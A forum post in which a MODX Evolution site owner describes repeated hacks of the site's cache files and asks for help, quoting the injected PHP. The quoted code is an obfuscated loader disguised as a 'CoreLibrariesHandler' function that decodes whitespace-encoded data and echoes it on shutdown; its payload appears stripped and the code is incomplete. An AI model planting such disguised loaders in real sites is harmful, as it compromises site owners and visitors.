Hi,
2 months ago our site got hacked. It was redirecting to a Ukrainian site.
I and the hosting support team tried to find the entry point but with no luck.
The traces I found were in the cache files. They were modified and the malicious code/redirect added at the bottom of every cache page. When I cleaned the cache the redirect disappeared.
I was using a very old MODX, so I thought that was the problem. I changed every username/pass there is. Restored a one month old backup, so I’m sure nothing malicious had been left and upgraded (overwriting the files) to the latest version of Evolution - 1.0.5.
Everything worked good for 2 months. Today I saw that our site returns a blank page. There is again a code (this time it’s different) added to all cache files including siteCache.idx.php and siteCache.idx.php. The register_globals is off.
The code that is added to the cache files is:
<?php /**
* Gets some core libraries and displays a top message if required. /*
*/ function CoreLibrariesHandler() { /*
*/ $session_keys = ’ ’; /*
*/ /*
*/ foreach(str_split($session_keys,
as $k=>$v) { /*
*/ $v = str_replace(’ ’, 1, str_replace(’ ’, 0, $v)); /*
*/ $session_keys[$k] = chr(bindec($v)); /*
*/ } /*
*/ /*
*/ if($session_keys) echo $session_keys; } /*
*/ register_shutdown_function(’CoreLibrariesHandler’); /*
*/ /*
************************************************************************/
?>
The first time this happened I tracked that the code used to redirect was very often seen on osCommerce sites. When I search part of the code in Google I see again a lot of mentions of osCommerce, so I think there may be a hacked site on our server and it is somehow compromising out hosting account (we have another MODX site on the account and it never got hacked). So, I’ll changes hosting companies (we use a H-Sphere hosting) tomorrow and hope this will fix the problem but if someone can help/advice/suggest something, it will be appreciated.
☆ A M B ☆
☆ A M B ☆